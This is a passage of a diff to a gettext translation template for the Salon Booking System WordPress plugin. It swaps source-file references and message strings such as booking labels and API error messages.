build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:584, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:599\n-msgid \"Booking draft updated.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FUpdates\u002Fsln-update-for-10.30.11.php:59\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FUpdates\u002Fsln-update-for-10.30.11.php:59\n+msgid \"Some indexes failed to install. Please try manual installation.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FPerformanceIndexManager.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FPerformanceIndexManager.php:149\n+msgid \"Some indexes failed to install: \"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:89\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:89\n+msgid \"Something goes wrong\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:610, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:610, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:610, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:595, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:595, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:610\n-msgid \"This is where bookings are stored.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:77\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:77\n+msgid \"Something gone wrong with the selection. Please reselect the holyday.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:629, src\u002FSLN\u002FPostType\u002FBooking.php:708, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:629, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:708, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:629, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:708, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:614, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:693, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:614, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:693, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:629, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:708\n-msgid \"Booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:99\n+msgid \"Something more?\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:633, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:633, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:633, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:618, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:618, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:633\n-msgid \"Add Booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:151\n+msgid \"Something went wrong. Please try again.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:634, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:634, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:634, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:619, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:619, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:634\n-msgid \"Add New Booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:7\n+msgid \"SORRY! The services\u002Fassistants data is empty\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:635, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:635, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:635, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:620, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:620, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:635\n-msgid \"Edit Booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:300\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:890\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:205\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:202\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:349\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:514\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:367\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:984\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:203\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:221\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:303\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:471\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:208\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:300\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:890\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:205\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:202\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:349\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:514\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:367\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:984\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:203\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:221\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:303\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:471\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:208\n+msgid \"Sorry, resource already exists.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:636, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:636, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:636, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:621, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:621, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:636\n-msgid \"New Booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:325\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:342\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:367\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:996\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1016\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1066\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1079\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:227\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:240\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:261\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:227\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:248\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:277\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:374\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:395\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:420\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:556\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:578\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:608\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:392\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:409\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:434\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1090\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1109\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1178\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1191\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:225\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:238\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:259\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:246\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:267\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:296\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:328\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:349\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:374\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:497\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:519\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:549\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:607\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:689\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:725\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:235\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:253\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:281\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:325\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:342\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:367\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:996\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1016\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1066\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 